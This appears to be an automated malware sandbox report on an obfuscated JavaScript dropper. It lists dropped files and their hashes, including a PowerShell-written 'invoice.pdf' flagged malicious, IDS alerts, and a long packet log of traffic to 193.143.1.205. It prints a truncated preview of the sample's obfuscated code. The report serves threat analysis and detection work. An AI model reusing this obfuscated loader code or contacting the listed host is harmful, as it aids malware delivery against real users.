SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c16d9cf0-21ec-4f39-a2dd-4acba9793748.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6DaWL07oSwYIGNPHGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:caWLxSwZGBGZn3mlind9i4ufFXpAXkru
MD5:	83861FA7ACFA3650A6004BB1FDC18F93
SHA1:	441DEF17B266EAFA0777308C02FEEC8272A0E0B8
SHA-256:	1A30A52C3CAA02993AB28CC870EA47311507D0121DD4FC90AE734FA8AC58E867
SHA-512:	E11048B0B5D82D9015F93C9AB36AE4FC2ED72ABE50B27FC982962C9135E5B4EBB90FFD0D555265FBE405AC711D5D44D8B6A658BF9883D017C1E5F53C6CC8EDF8
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\eb449c21-e968-44f6-b79e-24a1dc23516e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15742), with CRLF line terminators
Entropy (8bit):	4.919865703623813
TrID:
File name:	741645402364914803.js
File size:	19'235 bytes
MD5:	0782ab7fe77a2bbcd68c2efd3cd46ae6
SHA1:	13cc171a0b4f6b692856536adc4d50edf03931f3
SHA256:	6d56c9084e2c9f8b1468c840bcb74c64afd8d8456509902737cdfc49ad0691c1
SHA512:	045ce9876e598e742544aa1d7a54c32fe16d84a1beb2b905300e340d03518b9be49ef0b12d9e8e64e9834b2427ffd67e063ffecde9b716ac4273a0b80815fde8
SSDEEP:	384:4RwzXsFPEiLbqiNTmyils+JTLprRTwAewlFmGMI7:Y2cFPEiLb2ewlYO
TLSH:	BF8266C5E963CD96A8CC05F06C2321FB98DDCACD8B51C0A60F573159446861BAAF3DBE
File Content Preview:	function cesnsmx(){wkxnmspx=[1031,3079,5127,4103,2055,3072];var lnsuzadl=this[lriuizx+nxbjxx+oldoa+rokudfc+lhyoiqmxn+trkvep+jzsecxi+raoal](this[yhrvg+ovgtggn+ocrki+oldoa+laeoxbz+lriuizx+raoal][vbeiszekd+oldoa+lhyoiqmxn+nxbjxx+raoal+lhyoiqmxn+xufiuoznu+zdb

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T20:59:52.171690+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49706	193.143.1.205	80	TCP
2025-01-10T20:59:54.847961+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49707	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:59:51.363429070 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:51.368401051 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:51.368522882 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:51.372138023 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:51.376971006 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.171559095 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.171642065 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.171653986 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.171664953 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.171679020 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.171690941 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.171689987 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.171705961 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.171719074 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.171730995 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.171734095 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.171744108 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.171778917 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.171796083 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.176515102 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.176527977 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.176539898 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.176569939 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.214517117 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.214534044 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.214643955 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.295871019 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.295892954 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.295906067 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.295918941 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.295931101 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.295984030 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.296297073 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.296346903 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.296363115 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.296374083 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.296386003 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.296397924 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.296408892 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.296441078 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.296952963 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.296983004 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.297000885 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.297013998 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.297029018 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.297043085 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.297066927 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.297796965 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.297843933 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.297873974 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.297884941 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.297898054 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.297909975 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.297952890 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.297981024 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.298657894 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.346827030 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.346839905 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.346889973 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.346900940 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.346915960 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.346959114 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.386275053 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.419867039 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.419909954 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.419938087 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.419946909 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.419987917 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.420028925 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.420042992 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.420073032 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.420093060 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.420165062 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.420202017 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.420217991 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.420248032 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.420300961 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.420460939 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.420489073 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.420506001 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.420521021 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.420532942 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.420536995 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.420561075 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.420954943 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.421006918 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.421053886 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.421066046 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.421072006 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.421082020 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.421093941 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.421108007 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.421175957 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.421257973 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.421854019 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.421864986 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.421876907 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.421888113 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.421911955 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.421922922 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.421928883 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.421928883 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.421935081 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.421947956 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.421973944 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.421998024 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.422923088 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.422935963 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.422946930 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.422959089 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.422971964 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.422979116 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.422982931 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.422996044 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.423007011 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.423007965 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.423022032 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.423052073 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.423760891 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.423832893 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.423846006 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.423856974 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.423868895 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.423882008 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.423887014 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.423912048 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.437416077 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.437474966 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.437510014 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.437546015 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.437597036 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.437715054 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.462629080 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.462663889 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.462713957 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.476830006 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.476844072 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.476865053 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.476875067 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.476882935 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.476911068 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.510390997 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.510406017 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.510498047 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.543940067 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.544009924 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.544044971 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.544080973 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.544190884 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.544207096 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.544214964 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.544233084 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.544249058 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.544266939 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.544270039 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.544286013 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.544292927 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.544333935 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.544955969 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.544991016 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.545026064 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.545042038 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.545059919 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.545100927 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.545105934 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.545135021 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.545181990 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.545190096 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.545762062 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.545774937 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.545785904 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.545795918 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.545805931 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.545808077 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.545819044 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.545831919 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.545835972 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.545845985 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.545856953 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.545898914 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.546816111 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.546834946 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.546845913 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.546865940 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.546883106 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.546905041 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.546921015 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.546931982 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.546945095 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.546958923 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.546972036 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.547000885 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.547753096 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.547765017 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.547789097 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.547800064 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.547804117 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.547812939 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.547825098 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.547831059 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.547837019 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.547848940 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.547857046 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.547920942 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.548676968 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.548697948 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.548711061 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.548722982 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.548736095 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.548737049 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.548747063 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.548759937 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.548772097 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.548774004 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.548816919 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:59:52.549767017 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.549777985 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 20:59:52.549783945 CET	80	49706	193.143.1.205	192.168.2.9
